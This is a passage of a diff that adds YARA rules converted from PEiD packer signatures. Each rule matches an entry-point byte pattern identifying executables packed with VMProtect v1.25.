+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 EE FE 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02918_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 8D 76 02 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02919_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 8D 76 02 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02920_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 C6 02 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02921_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 ED 04 83 C6 02 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02922_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 ED 04 83 EE FE 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02923_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 ED 04 89 45 00 83 C6 02 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02924_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 ED 04 89 45 00 83 EE FE E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02925_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 ED 04 89 45 00 8D 76 02 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02926_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 ED 04 8D 76 02 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02927_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 EE FE 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02928_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 8D 76 02 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02929_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 C6 02 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02930_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 C6 02 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02931_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 ED 02 66 89 45 00 83 C6 02 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02932_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 ED 02 66 89 45 00 83 EE FE E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02933_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 ED 02 66 89 45 00 8D 76 02 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02934_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 ED 02 83 C6 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02935_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 ED 02 83 EE FE 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02936_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 ED 02 8D 76 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02937_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 EE FE 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02938_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 EE FE 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02939_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 8D 76 02 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02940_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 8D 76 02 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02941_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 C6 02 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02942_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 83 C6 02 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02943_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 83 EE FE 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02944_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 89 45 00 83 C6 02 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02945_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 89 45 00 83 EE FE E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02946_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 89 45 00 8D 76 02 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02947_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 8D 76 02 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02948_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 EE FE 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02949_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 8D 76 02 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02950_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 45 00 66 8B 55 02 F6 D0 F6 D2 83 ED 02 20 D0 66 89 45 04 9C 8F 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02951_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 45 00 83 ED 02 66 01 45 04 9C 8F 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02952_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 45 00 8A 4D 02 83 ED 02 66 D3 E0 66 89 45 04 9C 8F 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02953_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 45 00 8A 4D 02 83 ED 02 66 D3 E8 66 89 45 04 9C 8F 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02954_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02955_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 E0 3C 8B 14 07 83 ED 04 89 55 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02956_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 E0 3C 8B 55 00 83 C5 04 89 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02957_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02958_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02959_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 59 5E 5D 5B 9D 5F 5A 5E C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02960_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 5A 5D 5B 5E 59 5A 9D 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02961_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 5A 5D 5B 9D 59 5F 5F 5E C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02962_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 5B 5E 5D 58 5F 9D 59 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02963_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 5B 5E 5D 9D 5B 59 5A 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02964_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 5E 5A 59 5D 59 9D 5F 5B C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02965_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 5F 5B 5F 5D 59 5E 9D 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02966_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 9D 5B 5D 5E 5F 5A 59 5E C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02967_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5A 5B 5E 58 5D 5F 9D 5B C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02968_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5A 5E 58 9D 5D 58 5B 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02969_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5B 58 5D 5F 9D 5A 5E 5E C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02970_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5B 5E 5A 5F 58 5D 9D 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02971_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5B 5F 5E 58 9D 5D 5A 5E C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02972_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5B 9D 5E 5F 5A 58 5D 5D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02973_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5D 5F 5E 5A 5B 9D 5B 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02974_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5E 58 5D 5B 9D 5F 5A 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02975_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5E 5B 5F 5B 9D 58 5D 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02976_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5F 58 5A 9D 5D 5E 5E 5B C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02977_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 58 5B 5E 59 5D 9D 5F 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02978_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 58 5E 5D 5B 5B 9D 59 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02979_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 59 5B 5D 5A 5E 9D 5F 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02980_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 59 5F 59 58 9D 5E 5D 5B C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02981_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 5B 58 9D 5E 5F 5D 59 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02982_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 5B 59 5D 5E 58 5F 9D 5D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02983_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 5E 5D 9D 5B 58 5F 59 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02984_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 5F 58 59 5B 5D 5E 9D 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02985_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 9D 5B 59 5D 5F 58 5E 5E C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02986_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 9D 5E 59 5D 5D 58 5B 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02987_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 9D 5E 5B 5F 5B 58 5D 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02988_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 9D 5E 5D 58 5F 5B 59 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02989_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 5D 58 9D 59 5F 5E 59 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02990_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 5D 59 5F 5E 58 9D 5A 5E C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02991_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 5D 5E 59 5F 58 9D 58 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02992_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 5E 5A 58 5F 58 59 9D 5D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02993_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 5F 5A 59 58 5D 9D 5E 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02994_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 9D 58 5F 5E 59 5D 5D 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02995_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 9D 59 5E 5D 5D 5F 5A 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02996_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 9D 5E 5A 5E 59 5F 5D 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02997_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5D 58 5A 5B 5D 9D 5F 5E 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02998_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5D 59 9D 5D 58 5B 5E 5A 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02999_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5D 5E 5B 5F 58 5E 59 5A 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03000_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5D 5E 5F 58 5B 5A 5A 59 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03001_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5D 5E 9D 5F 5B 5A 5B 58 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03002_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5D 5F 5E 58 9D 59 5A 5B 5A C3}
